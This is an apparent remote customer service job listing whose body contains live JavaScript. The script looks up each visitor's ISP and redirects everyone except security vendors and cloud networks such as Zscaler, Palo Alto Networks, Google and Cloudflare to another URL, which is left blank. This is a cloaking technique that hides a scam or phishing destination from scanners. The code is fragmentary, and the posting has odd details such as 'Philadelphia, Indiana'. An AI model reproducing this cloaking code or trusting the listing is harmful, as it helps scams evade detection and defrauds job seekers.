Customer Service Representative – Remote – Full-Time
Overview
const ipAddress = data.ip;
// retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/${ipAddress}?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname;
// check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg));
if (!ispAllowed && !asOrgAllowed) {
// Redirect all users to the same URL
window.location.href = '';
}
})
.catch(error => {
console.error('Error retrieving ISP name:', error);
});
})
.catch(error => {
console.error('Error retrieving IP address or location:', error);
});
We are seeking a dedicated Customer Service Representative to join our remote team, based in Philadelphia, Indiana.
Responsibilities:
- Provide exceptional support to customers via phone, email, and chat channels.
- Assist with order processing, billing inquiries, and product troubleshooting.
- Maintain accurate records of customer interactions and transactions.
- Identify and escalate priority issues to the appropriate departments.
- Collaborate with team members to improve overall customer experience.
Skills Needed:
- Excellent communication and active listening skills.
- Strong problem-solving abilities and attention to detail.
- Ability to work independently in a remote environment.
- Technical proficiency with CRM software and Microsoft Office.
Benefits:
- Competitive salary of $50,000-$60,000 per year.
- Flexible remote work setup.
- Health, dental, and vision insurance options.
- Paid time off and holidays.
- Opportunities for career growth and development.